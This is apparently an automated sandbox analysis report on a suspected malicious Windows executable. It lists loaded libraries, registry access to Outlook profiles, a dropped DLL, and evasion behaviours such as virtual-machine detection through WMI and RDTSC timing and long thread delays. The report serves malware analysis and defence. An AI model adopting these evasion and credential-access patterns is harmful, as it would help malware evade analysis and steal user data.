Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: 3Pd480eWHA.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_10002D20 push eax; ret	0_2_10002D4E
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00110C53 push ebx; retf	9_2_00110C52
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00110C45 push ebx; retf	9_2_00110C52
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00110C6D push edi; retf	9_2_00110C7A
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_38EA76E0 push esp; iretd	9_2_38EA76E9

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

File created: C:\Users\user\AppData\Local\Temp\nsn1341.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	API/Special instruction interceptor: Address: 5F1EB64
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	API/Special instruction interceptor: Address: 32DEB64

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	RDTSC instruction interceptor: First address: 5ECACE4 second address: 5ECACE4 instructions: 0x00000000 rdtsc 0x00000002 test ebx, eax 0x00000004 test edx, eax 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FDCC11C562Eh 0x0000000a cmp dx, ax 0x0000000d test bx, bx 0x00000010 inc ebp 0x00000011 test cl, al 0x00000013 inc ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	RDTSC instruction interceptor: First address: 328ACE4 second address: 328ACE4 instructions: 0x00000000 rdtsc 0x00000002 test ebx, eax 0x00000004 test edx, eax 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FDCC14C66AEh 0x0000000a cmp dx, ax 0x0000000d test bx, bx 0x00000010 inc ebp 0x00000011 test cl, al 0x00000013 inc ebx 0x00000014 rdtsc

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Memory allocated: 357F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Memory allocated: 377F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199969	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199859	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199747	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199640	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199531	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199422	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199312	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199203	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199094	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198984	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198875	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198766	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198656	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198545	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198437	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198328	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198219	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198109	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198000	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197891	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197781	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197672	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197562	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197453	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197342	Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Window / User API: threadDelayed 7968			Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Window / User API: threadDelayed 1874			Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn1341.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

API coverage: 2.4 %

Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 508	Thread sleep count: 7968 > 30	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 508	Thread sleep count: 1874 > 30	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -98110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199747s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1199094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198545s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1198000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1197891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1197781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1197672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1197562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1197453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe TID: 5688	Thread sleep time: -1197342s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_00406010 FindFirstFileA,FindClose,	0_2_00406010
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_004055AE GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055AE
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00406010 FindFirstFileA,FindClose,	9_2_00406010
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_00402688 FindFirstFileA,	9_2_00402688
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Code function: 9_2_004055AE DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	9_2_004055AE

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98688	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98469	Jump to behavior
